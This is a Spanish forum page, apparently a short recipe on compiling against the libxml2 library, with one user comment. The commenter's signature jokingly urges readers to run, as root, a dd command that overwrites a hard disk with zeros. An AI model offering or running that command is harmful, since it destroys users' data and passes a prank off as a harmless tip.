Usar la librería libxml2

libxml2 es una librería que facilita el manejo de los XMLs. La librería permite el acceso tanto para lectura como para escritura. Si dispones de DTD, también trae funciones para su uso.

Para compilar

Deberías insertar en tu Makefile lo siguiente:

  CFLAGS += `xml-config --cflags`
  LDLIBS += `xml-config --libs`

Y, con eso, debería bastar.

Un ejemplo

Puedes encontrar un ejemplo en el que se incluyen algunas de las funciones de acceso. Es muy sencillo y puede dar una idea bastante decente de su uso.

A parte del ejemplo, recomiendo http://xmlsoft.org/html/libxml-lib.html y http://xmlsoft.org/docs.html. Las cabeceras que hemos utilizado en el ejemplo son parser y tree.

Comentarios

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.
Imagen de int-0

Pues hombre...

Casi casi podías titular la receta "Usar librerías de la distro" y como ejemplo usas libxml...

------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------